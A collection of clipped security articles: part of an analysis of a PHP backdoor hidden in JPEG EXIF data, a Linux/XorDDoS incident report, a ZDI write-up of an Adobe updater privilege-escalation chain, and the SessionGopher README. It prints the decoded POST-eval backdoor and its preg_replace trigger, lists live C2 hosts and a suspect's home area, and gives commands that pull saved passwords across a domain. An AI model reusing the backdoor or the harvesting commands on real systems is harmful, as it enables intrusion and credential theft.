        string(23) "width="155" height="77""  
        ["Height"]=>  
        int(77)  
        ["Width"]=>  
        int(155)  
        ["IsColor"]=>  
        int(1)  
        ["ByteOrderMotorola"]=>  
        int(0)  
      }  
      **[ "Make"]=>**  
    **string(5) "/**.** */e"**  
    **[ "Model"]=>**  
    **string(108) "eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));"**  
    }  
    
[/code]

The final setup in this process is to execute the PHP preg\_replace
function**.**

[code]

    <**?** php
    $exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
    **preg_replace($exif['Make'],$exif['Model'],'');**
    **?** >
    
[/code]

Notice that the $exif\['Make'\] variable data uses the "/**.** \*/e" PCRE
regex modifier \(PREG\_REPLACE\_EVAL\) which will evaluate the data from the
$exif\['Model'\] variable**.** In this case, it would execute the
base64\_decode which results in the following PHP snippet of code:

[code]

    if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
[/code]

This code checks to see if there is a POST request body named "zz1" and if
there is, it will then eval the contents**.** This makes it quite easy for
attackers to sprinkle backdoor access code by injecting other legitimate PHP
files with this combination of exif\_read\_data and preg\_replace code**.**

# How Widespread**?**

We can not accurately estimate how widespread this technique is being used
however there is a small amount of empirical evidence by simply using public
search engines to flag any web pages that list characteristics of either EXIF
code hiding or searching for this specific base64 encoded string value**.**

<img src='img/Temp2_3880.png' alt='Screen Shot 2013-10-11 at 2.24.03 PM' />

  
There are hundreds of examples of this base64 encoded data being present
within image files**.**

# Recommendations****

## Scan All Files for Malicious Code****

If you are running OS level scanning of files on disk, carefully consider
which file-types you want to include/exclude**.** As this scenario shows,
attackers can take advantage of your excluded content to hide their code**.**

## Scan Files During Attachment Uploading using ModSecurity****

When end users are uploading images as file attachments, ModSecurity has the
ability to:

  1. Extract the file and dump it to a tmp file on disk
  2. Execute the @inspectFile operator to analyze the file
  3. Block uploading if malware is found

The maldetect README  file even includes instructions on how to integrate it
with ModSecurity:

[code]

    **.** : 12 [ MODSECURITY2 UPLOAD SCANNING ]
    
    The support for HTTP upload scanning is provided through mod_security2's inspectFile hook**.**
    This feature allows for a validation script to be used in permitting or denying an upload**.** 
    
    The convenience script to faciliate this is called modsec**.** sh and is located in the
    /usr/local/maldetect installation path**.** The default setup is to run a standard maldet scan
    with no clamav support, no cleaner rule executions and quarantining enabled; these options
    are set in the interest of performance vs accuracy which is a fair tradeoff**.** 
    
    The scan options can be modified in the modsec.sh file if so desired, the default
    scan options are as follows:
    --config-option quar_hits=1,quar_clean=0,clamav_scan=0 --modsec -a "$file"
    
    There is a tangible performance difference in disabling clamav scanning in this usage
    scenario**.** The native LMD scanner engine is much faster than the clamav scanner engine
    in single file scans by a wide margin**.** A single file scan using clamav takes roughly
    3sec on average while the LMD scanner engine takes 0**.** 5sec or less.
    
    To enable upload scanning with mod_security2 you must set enable the public_scan option
    in conf.maldet (public_scan=1) then add the following rules to your mod_security2 
    configuration**.** These rules are best placed in your modsec2.user.conf file on cpanel servers
    or at the top of the appropraite rules file for your setup**.**
    
    /usr/local/apache/conf/modsec2.user.conf (or similar mod_security2 rules file):
    SecRequestBodyAccess On
    SecRule FILES_TMPNAMES "@inspectFile /usr/local/maldetect/modsec**.** sh" \
                    "log,auditlog,deny,severity:2,phase:2,t:none"
    
    A restart of the HTTPd service is required following these changes**.**
    
    When an upload takes place that is determined to be malware, it will be rejected and an
    entry will appear in the mod_security2 SecAuditLog file**.** On cpanel servers and most
    configurations this is the modsec_audit.log located under /usr/local/apache/logs or 
    /var/log/httpd**.**
    
    The log entry will appear similar to the following:
[/code]

[code]

    Message: Access denied with code 406 (phase 2)**.** File "/tmp/20111120-....-file" rejected by
    the approver script "/usr/local/maldetect/modsec**.** sh": 0 maldet: {HEX}php.cmdshell**.** r57.317
    /tmp/20111120-....-file [file "/usr/local/apache/conf/modsec2.user.conf"] [line "3"]
    [severity "CRITICAL"]
[/code]

****

# Malware Must Die\!: MMD-0033-2015 - Linux/XorDDoS infection incident report
\(CNC: HOSTASA.ORG\)

**Created:**| _6/24/2015 10:37:45 AM_  
---|---  
**Updated:**| _6/24/2015 10:41:18 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

## Background

This post is an actual malware infection incident of the"Linux/XOR.DDoS"
malware \(please see previous post as reference-->\[LINK\]\) and malware was
in attempt to infect a real Linux server.

## Incident details:

**Source of attack:**

An attack was coming from **107.182.141.40** with the below GeoIP details:

?

123456789| `"ip"``:` `"107.182.141.40"``,``"hostname"``:`
`"40-141-182-107-static.reverse.queryfoundry.net"``,``"city"``:` `"Los
Angeles"``,``"region"``:` `"California"``,``"country"``:` `"US"``,``"loc"``:`
`"34.0530,-118.2642"``,``"org"``:` `"AS62638 Query Foundry,
LLC"``,``"postal"``:` `"90017"``,``"phone"``:` `"213"`  
---|---  
The attacker was compromising a Linux host via ssh password bruting as per
below evidence:

?

123| `[2015-06-23 01:29:42]: New connection: 107.182.141.40:41625``[2015-06-23
01:29:42]: Client version: [SSH-2.0-PUTTY]``[2015-06-23 01:29:43]: Login
succeeded [***/***]`  
---|---  
..to then executing a one liner shell \(sh\) command line below:

<img src='img/Temp2_5116.png' />

..and then the malware initiation commands was executed on the compromised
system:

<img src='img/Temp2_5131.png' />

The attacker used web server's \(domain:**44ro4.cn**\) panel screenshot taken
at the time the attack was in progress:

<img src='img/Temp2_5125.png' />

The IP info of this panel:

?

12345678| `"ip"``:` `"198.15.234.66"``,``"hostname"``:` `"No
Hostname"``,``"city"``:` `"Nanjing"``,``"region"``:`
`"Jiangsu"``,``"country"``:` `"CN"``,``"loc"``:`
`"32.0617,118.7778"``,``"org"``:` `"AS11282 SERVERYOU INC"``,``"postal"``:`
`"210004"`  
---|---  
\(Additional\) The domain information:

?

12345678910| `;; QUESTION SECTION:``;44ro4.cn.                      IN     
A` `;; ANSWER SECTION:``44ro4.cn.               600    ` `IN`      `A      
23.228.238.131``44ro4.cn.               600    ` `IN`      `A      
198.15.234.66` `;; AUTHORITY SECTION:``44ro4.cn.               3596   `
`IN`      `NS      ns2.51dns.com.``44ro4.cn.               3596   ` `IN`     
`NS      ns1.51dns.com.`  
---|---  
Below is more proof of the domain's used, a check mate:<img
src='img/Temp2_5130.png' />

## Infection method, camouflages and overall summary

I examined further the infection source, what it seems is not what it is at
all, what looks like zip archives are ELF malware, and what looks like zips
are a shell script malware installers, to be clear, see the illustration
below:

<img src='img/Temp2_5133.png' />

Rule number 1 in MMD is : Always check under the hood :\) <img
src='img/Temp2_5132.png' />

So the bad actor is making a pair of installer and faked it as zip and
downloading the exactly same filename of ELF faked as rar. The reason for
faking these archives is simply to avoid the filename blocking from several
firewall/IDS filtration. This is just unbelievably irritating, isn't it?

This is the Linux/XorDDOS malware we posted before-->\[LINK\], the post-
infection of this malware made the infected machine to act as bot, remotely
controlled for malicious process, config, deny IP, daemon and configurations.
They are using XOR'ed encryption communication, processes are sent with md5
encoded beforehand. The main function of this malware ELF is for a stealth
DDoS attacker botnet.

**The important highlight of this incident and the malware used are:**

\(1\) The usage of US infrastructure used for this malware infection
\(attacker IP from US host, one IP of panel used for infection, two servers
for CNC, with the abuse of .ORG domain registration\) with the new scheme
worth to be exposed & followed in as incident response and awareness of what
this threat does. And all of these just happened about 12h ago..

\(2\) The usage of multiple hosts in this Linux/XorDDoS, in total: four CNCs.
Three of those CNCs are hard coded in hostnames \(has domain related\) and are
receiving the callback from the infected machine, while one of the host is
functioned as download server which the infected machine is requesting
backdoor to download suspected malicious files.

\(3\) XOR encryption function is used now to decrypt the drops, reading the
configuration file downloaded from the remote hosts \(yes, what it downloaded
seems to be the config file\), and for sending the CNC communication data.

## Here is the PoC:

These are the CNC interactive calls trapped in the kernels:

<img src='img/Temp2_5113.png' />

Those calls' DNS requests:

<img src='img/Temp2_5117.png' />\- in tcpdump with the timestamp:

?

1234| `08:21:20.078878 IP mmd.bangs.xorddos.40274 > 8.8.8.8: 27458+ A?
aa.hostasa.``org``. (32)``08:21:20.080602 IP mmd.bangs.xorddos.38988 >
8.8.8.8: 44387+ A? ns4.hostasa.``org``. (33)``08:21:25.092061 IP
mmd.bangs.xorddos.45477 > 8.8.8.8: 58191+ A? ns3.hostasa.``org``.
(33)``08:21:25.269790 IP mmd.bangs.xorddos.51687 > 8.8.8.8: 22201+ A?
ns2.hostasa.``org``. (33)`  
---|---  
Calls to CNC establishment, I pick only one, each callback does this, noted
the way it uses Google DNS:

<img src='img/Temp2_5121.png' />

The CNC callback traffic was encrypted, here is the initial callback taken
from two separate environments:

<img src='img/Temp2_5135.png' />Some decrypting for memo:<img
src='img/Temp2_5114.png' />Here is what coded in the binary for this part:<img
src='img/Temp2_5129.png' />

Downloader...

<img src='img/Temp2_5127.png' />

..yes, the download function is hard coded in binary:

<img src='img/Temp2_5124.png' /> And also the hard evidence in traffic
too:\)<img src='img/Temp2_5122.png' />

## Interesting facts

These are the malware project source code files used, it is the set of
Linux/XOR.DDoS compile set \(in C, without "++"\), this went straight to my
collection libraries for the future reference, thank's to the bad actor and
have a nice day to this malware's coder :-\)\)

<img src='img/Temp2_5119.png' />

The malware autorun installer shell script hard coded in the binary, this is
so generic..many ELF malware made in China is using this concept:

<img src='img/Temp2_5134.png' />

Spotted the XOR encryption to be run from installer and "supposedly" to be
used on decrypting configuration data, in the sample I cracked the key is
**BB2FA36AAA9541F0**

<img src='img/Temp2_5118.png' />

This is the usage of the encryption above during the installation to self copy
the malware file, for reversers, see the comment & trail the code:

<img src='img/Temp2_5128.png' />-and this..<img src='img/Temp2_5115.png' />

The ACL function \(to deny access by IP\) to protect the infected hosts:

<img src='img/Temp2_5120.png' />

## Investigation for legals & cleanup process:

The hosts serving CNC are as per checked in the DNS record below:

?

1234567891011121314151617| `;; ANSWER SECTION:``aa.hostasa.``org``.        
300    ` `IN`      `A       23.234.60.143``ns2.hostasa.``org``.       
300    ` `IN`      `A       103.240.140.152``ns3.hostasa.``org``.       
300    ` `IN`      `A       103.240.141.54``ns4.hostasa.``org``.       
300    ` `IN`      `A       192.126.126.64` `;; AUTHORITY
SECTION:``hostasa.``org``.            3600   ` `IN`      `NS     
ns4lny.domain-resolution.net.``hostasa.``org``.            3600   ` `IN`     
`NS      ns1cnb.domain-resolution.net.``hostasa.``org``.            3600   `
`IN`      `NS      ns3cna.domain-resolution.net.``hostasa.``org``.           
3600   ` `IN`      `NS      ns2dky.domain-resolution.net.` `;; ADDITIONAL
SECTION:``ns3cna.domain-resolution.net. 2669` `IN`   `A      
98.124.246.2``ns2dky.domain-resolution.net. 649` `IN`    `A      
98.124.246.1``ns1cnb.domain-resolution.net. 159` `IN`    `A      
50.23.84.77``ns4lny.domain-resolution.net. 2772` `IN`   `A       98.124.217.1`  
---|---  
Up and alive CNCs are in USA:

?

1234567891011121314151617| `"ip"``:` `"23.234.60.143"``,``"hostname"``:` `"No
Hostname"``,``"city"``:` `"Newark"``,``"region"``:`
`"Delaware"``,``"country"``:` `"US"``,``"loc"``:`
`"39.7151,-75.7306"``,``"org"``:` `"AS26484 HOSTSPACE NETWORKS
LLC"``,``"postal"``:` `"19711"` `"ip"``:` `"192.126.126.64"``,``"hostname"``:`
`"No Hostname"``,``"city"``:` `"Los Angeles"``,``"region"``:`
`"California"``,``"country"``:` `"US"``,``"loc"``:`
`"34.0530,-118.2642"``,``"org"``:` `"AS26484 HOSTSPACE NETWORKS
LLC"``,``"postal"``:` `"90017"`  
---|---  
These other two CNCs are allocated in Hongkong network:

?

12345678910111213| `"ip"``:` `"103.240.140.152"``,``"hostname"``:` `"No
Hostname"``,``"city"``:` `"Central District"``,``"country"``:`
`"HK"``,``"loc"``:` `"22.2833,114.1500"``,``"org"``:` `"AS62466 ClearDDoS
Technologies"` `"ip"``:` `"103.240.141.54"``,``"hostname"``:` `"No
Hostname"``,``"city"``:` `"Central District"``,``"country"``:`
`"HK"``,``"loc"``:` `"22.2833,114.1500"``,``"org"``:` `"AS62466 ClearDDoS
Technologies"`  
---|---  
The domain **HOSTASA.ORG** is beyond doubt proven to be used for this
malicious purpose, three hostnames fake themself with hostname to look like a
DNS servers, which is NOT. Below is the registration data from NAME.COM where
it is registered as .ORG, with the Privacy Protection:

?

1234567891011121314151617181920212223242526272829| `Domain`
`Name``:``"HOSTASA.ORG"``Domain ID: 2D175880649-LROR"``"Creation Date:
2015-03-31T06:56:01Z``Updated Date: 2015-05-31T03:45:36Z"``Registry Expiry
Date: 2016-03-31T06:56:01Z``Sponsoring Registrar:``"Name.com, LLC
(R1288-LROR)"``Sponsoring Registrar IANA ID: 625``WHOIS Server:``Referral
URL:``Domain Status: clientTransferProhibited --
http://www.icann.``org``/epp``#``clientTransferProhibited``Registrant
ID:necwp72276k4nva0``Registrant` `Name``:Whois Agent``Registrant
Organization:Whois Privacy Protection Service,` `Inc``.``Registrant Street: PO
Box 639``Registrant City:Kirkland``Registrant State/Province:WA``Registrant
Postal Code:98083``Registrant Country:US``Registrant
Phone:+1.4252740657``Registrant Phone Ext:``Registrant Fax:
+1.4259744730``Registrant Fax Ext:``Registrant
Email:hostasa.``org``@protecteddomainservices.com``Tech
Email:hostasa.``org``@protecteddomainservices.com``Name`
`Server:NS3CNA.DOMAIN-RESOLUTION.NET``Name` `Server:NS1CNB.DOMAIN-
RESOLUTION.NET``Name` `Server:NS2DKY.DOMAIN-RESOLUTION.NET``Name`
`Server:NS4LNY.DOMAIN-RESOLUTION.NET``DNSSEC:Unsigned`  
---|---  
Additionally, for the **44RO4.CN** domain used, which is registered in DNS
pointing to the malware payloads web panel, that is not a coincidence, it is
registered under below QQ ID and \(maybe fake\) name;

?

123456789101112| `Domain` `Name``: 44ro4.cn``ROID:
20141229s10001s73492202-cn``Domain Status: ok``Registrant ID:
ji27ikgt6kc203``Registrant:` `"蔡厚泉 (Cai Hou Sien/Quan)"``Registrant Contact
Email:` `"2511916764@qq.com"``Sponsoring Registrar: 北京新网数码信息技术有限公司``Name`
`Server: ns1.51dns.com``Name` `Server: ns2.51dns.com``Registration Time:
2014-12-29 10:13:43``Expiration Time: 2015-12-29 10:13:43``DNSSEC: unsigned`  
---|---  
ps: CNNIC has more information of this registration, I took liberty to query
them to find this crook is using the same and other ID to several poor
reputation .CN domains, under the same and different name too, on the same QQ:

?

1234567891011121314| `Domain   RegistrantID    `
`Name``------------------------------``n1o9n.cn ej55v35357p95m   沈涛``u7ju0.cn
ej55v35357p95m   沈涛``568b5.cn ej55v35357p95m   沈涛``93t9i.cn ej55v35357p95m  
沈涛``5ntdu.cn ej55v35357p95m   沈涛``v90b8.cn ej55v35357p95m   沈涛``av732.cn
ej55v35357p95m   沈涛``iqny7.cn ej55v35357p95m   沈涛``ewkp7.cn ej55v35357p95m  
沈涛``8vu55.cn ji27ikgt6kc203   蔡厚泉``tj17e.cn ej55v35357p95m   沈涛``o88pn.cn
ji27ikgt6kc203   蔡厚泉`  
---|---  
And after seeking for a while, all of these reference lead to the individual
identification here:<img src='img/Temp2_5126.png' />Which is living nearby the
Tanxi Bus Station in Sanyuanli street, Baiyun district, Guangzou prefecture,
PRC, as per described in ths map: <img src='img/Temp2_5123.png' />I will leave
this data for the authority to follow this lead further.

## Detection ratio and samples

ELF samples are all in Virus Total with the below links:

\(a06.zip\) = 3c49b5160b981f06bd5242662f8d0a54\(a07.zip\) =
bcb6b83a4e6e20ffe0ce3c750360ddf5\(a08.zip\) =
a99c10cb9713770b9e7dda376cddee3a\(a09.zip\) =
d1b5b4b4b5a118e384c7ff487e14ac3f\(a10.zip\) = 83eea5625ca2affd3e841d3b374e88eb

Fellow researchers & industry can grab the sample from kernelmode
here-->\[LINK\]

\#MalwareMustDie\!

# Adobe's CVE-2015-5090 - Updating the Updater to become the bossman

**Created:**| _7/16/2015 3:45:42 PM_  
---|---  
**Updated:**| _7/16/2015 3:45:42 PM_  
**Author:**| __  
**Tags:**| _updates_  
  
  

# Adobe's CVE-2015-5090 - Updating the Updater to become the bossman

More Sharing Services

Abdul\_Hariri| July 16, 2015

Post a Comment

Amongst the many bugs Adobe patched in July 2015, CVE-2015-5090 stands out as
being worth a closer look. Adobe lists this vulnerability as a privilege
escalation from low to medium integrity, but this doesn’t tell the whole
story. In actuality, this bug can used to execute code with SYSTEM privileges,
which could allow an attacker to completely take over a target. Since this
affects the Adobe updater service, the bug exists in both Adobe Reader and
Acrobat Pro. Both of these programs install the ARMSvc service \(Updater\) and
both keep AdobeARM.exe/AdobeARMHelper.exe in
c:\progra~1\common~1\Adobe\ARM\1.0.

Our exploit was specifically written for acrobat.exe, but it could be modified
for Reader as well. Here’s a short video demonstrating the exploit.

.

**Bug information:**

ARMSvc.exe supports multiple user controls defined in the function HandlerProc
in IDA:

<img src='img/Temp2_480.png' width='438' height='214' alt='Fig1.png' />

 _Figure 1 – Handler function_

Inside UserControls:

<img src='img/Temp2_483.png' width='699' height='658' alt='fig2.png' />

 _Figure 2 – Controls_

The interesting switch cases for this exploit are:

170 - Creates a shared memory section

179 - Executes ELEVATE which in turn runs AdobeARMHelper.exe with arguments
from the Shared Memory section.

The problem with user control 170 is that it creates a SharedMemory section
with weak permissions. Any user can read and write to it, meaning an attacker
can control the arguments passed to AdobeARMHelper.exe.

Looking into AdobeARMHelper.exe, we find sub\_42A260. This routine finds the
first file in a given directory. It will then check to verify the file is
signed by Adobe. If it's signed by, Adobe sub\_42A260 copies the file to the
directory where AdobeARM.exe resides:

<img src='img/Temp2_482.png' width='579' height='124' alt='fig3.png' />

 _Figure 3 – Signature check_

If this fails, it will bail out:

<img src='img/Temp2_481.png' width='699' height='341' alt='fig4.png' />

 _Figure 4 – Signature check failure_

If it succeeds, it copies the file:

<img src='img/Temp2_479.png' width='699' height='311' alt='Fig5.png' />

 _Figure 5 – Signature check successful_

The function does NOT take into account the following items:

1\. Path for the folder where the files is to be copied is not checked. An
attacker **can** supply his own path where he wants a file to be copied.

2\. When the first file is found, the file name is not checked.

3\. When the first file is found, the file extension is not checked.

The function DOES check for:

1\. Whether the first file found in a given directory is signed by Adobe.

**Exploitation:**

What we're able to do:

1\. Control arguments passed to AdobeARMHelper/AdobeARM via the SM.

2\. Execute AdobeARM.exe under system privileges whenever we want.

3\. Overwrite AdobeARM.exe with \*any\* file as long as it's signed by Adobe.

What we NEED to do:

1\. Have something NOT signed by Adobe get executed.

**The strategy:**

To exploit this bug, we need to overwrite AdobeARM.exe with something signed
by Adobe, but something that would allow us to do interesting things.

For example, arh.exe is an Adobe AIR install wrapper. In theory, we can
overwrite AdobeARM.exe with arh.exe \(which is totally legit since it's
signed\), and then probably have arh.exe install an arbitrary AIR application.
The only problem with this strategy is that arh.exe would not allow _any_
extra arguments to be passed to it, so it will fail since some of the
arguments passed from the SM are not directly controlled by us.

The best strategy would be overwriting AdobeARM.exe with a signed binary that
won't complain when we pass extra arguments to it.

**The exploit:**

If we look closely at Acrobat Pro, we would notice that it contains a binary
called AcrobatLauncher.exe.

This binary basically allows us to launch Acrobat.exe with a given PDF file.
The nice thing about AcrobatLauncher.exe is that it ignores extra arguments
and doesn't complain/bail out.

The command line argument is: AcrobatLauncher.exe -open PDF\_FILE

**Attack chain:**

1\. Trigger SM creation.

2\. Write arguments to SM.

3\. Trigger ELEVATE user control to copy AcrobatLauncher.exe \(as
AdobeARM.exe\) to c:\progra~1\common~1\Adobe\ARM\1.0\AdobeARM.exe. This
basically overwrites the updater.

4\. Run the new AdobeARM.exe, which will execute Acrobat.exe with our PDF
exploit. This step is automatically done with the ELEVATE control.

5\. The PDF exploit should dump secur32.dll in
c:\progra~1\common~1\Adobe\ARM\1.0. This is done using one of our JavaScript
bypasses.

6\. Clear the temp folder so AdobeARMHelper.exe won't copy anything from the
temp folder when we call ELEVATE one more time.

7\. Re-write to SM so it will execute our new AdobeARM.exe without any
modifications.

8\. Execute ELEVATE again which will execute AdobeARM.exe \(which is in fact
AcrobatLauncher.exe\) with only the "-open" option which will load our
secur32.dll and pop calc as SYSTEM.

As you can see, CVE-2015-5090 provides attackers a reliable method for
executing code with system privileges. If you’re running either Adobe Reader
or Acrobat Pro, you should definitely apply the patch that corrects this bug.
Also, if you would like more details about JavaScript bypass described in Step
5, be sure to check out our upcoming DEFCON talk for more information.

We’ll see you in Vegas\!

.

.

.

Tags:  Adobe| Vulnerability| ZDI| Zero Day Initiative

Labels: adobe| Vulnerability| ZDI| Zero Day Initiative

.

  

# Arvanaghi/SessionGopher

**Created:**| _5/10/2019 8:02:34 AM_  
---|---  
**Updated:**| _5/10/2019 8:02:34 AM_  
**Author:**| __  
**Tags:**| _Forensics post-exploitation_  
  

  

Copyright 2017 FireEye, created by Brandon Arvanaghi \(@arvanaghi\)

Licensed under the Apache License, Version 2.0 \(the "License"\); you may not
use this file except in compliance with the License. You may obtain a copy of
the License at

[code]

    http://www.apache.org/licenses/LICENSE-2.0
    
[/code]

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
License for the specific language governing permissions and limitations under
the License.

* * *
# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='49'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='709' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>SessionGopher

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='50'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='711' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Quietly digging up saved session information for PuTTY, WinSCP, FileZilla,
SuperPuTTY, and RDP

SessionGopher is a PowerShell tool that finds and decrypts saved session
information for remote access tools. It has WMI functionality built in so it
can be run remotely. Its best use case is to identify systems that may connect
to Unix systems, jump boxes, or point-of-sale terminals.

SessionGopher works by querying the `HKEY_USERS` hive for all users who have
logged onto a domain-joined box at some point. It extracts PuTTY, WinSCP,
SuperPuTTY, FileZilla, and RDP saved session information. It automatically
extracts and decrypts WinSCP, FileZilla, and SuperPuTTY saved passwords. When
run in Thorough mode, it also searches all drives for PuTTY private key files
\(.ppk\) and extracts all relevant private key information, including the key
itself, as well as for Remote Desktop \(.rdp\) and RSA \(.sdtid\) files.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='51'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='715' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Usage

**-Thorough** : searches all drives for PuTTY private key \(.ppk\), Remote
Desktop Connecton \(.rdp\), and RSA \(.sdtid\) files.

**-o** : outputs the data to a folder of .csv files

**-iL** : provide a file with a list of hosts to run SessionGopher against,
each host separated by a newline. Provide the path to the file after `-iL`.

**-AllDomain** : SessionGopher will query Active Directory for all domain-
joined systems and run against all of them.

**-Target** : a specific host you want to target. Provide the target host
after `-Target`.

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='52'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='722' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />To
run locally

[code]

    . .\SessionGopher.ps1
    Invoke-SessionGopher -Thorough
    
[/code]

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='53'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='724' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />To
run remotely \(-iL, -AllDomain, -Target\)

To run remotely, you can either provide a privileged account's credentials for
the remote system using the `-u` and `-p` flags. If you omit the `-u` and `-p`
flags, SessionGopher will run under the security context of the account from
which you run the script \(e.g. if you are already logged in as DA account, or
logged in as an account that is local admin for the target system, or doing a
_runas_ with either of the two, you won't need to supply credentials\).

[code]

    Import-Module path\to\SessionGopher.ps1;
    Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
    
[/code]

or

[code]

    Import-Module path\to\SessionGopher.ps1;
    Invoke-SessionGopher -iL computerlist.txt -u domain.com\adm-arvanaghi -p s3cr3tP@ss -o
    
[/code]

or

[code]

    Import-Module path\to\SessionGopher.ps1;
    Invoke-SessionGopher -Target brandonArvanaghi_win7 -Thorough
    
[/code]

Any of these commands can be coupled with `-Thorough`, but note that it takes
significantly longer as it queries the entire remote filesystem. It is not
recommended you run in `-Thorough` mode when querying more than a small set of
systems at a time.

Running remotely by adding `-o` \(print to CSV\) works nicely, as
SessionGopher will accumulate all sessions it finds and tell you exactly where
it found that saved session.

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='54'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='732' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />To
write to CSV \(whether remote or local\)

To have SessionGopher create a folder to neatly contain .csvs of the extracted
sessions:

[code]

    Import-Module path\to\SessionGopher.ps1;
    Invoke-SessionGopher -AllDomain -o
    
[/code]

... that's it.

Accessing the saved session information for every user in `HKEY_USERS`
requires local admin privileges. Without local admin privileges, you will
still receive saved session information for that user.

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='55'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
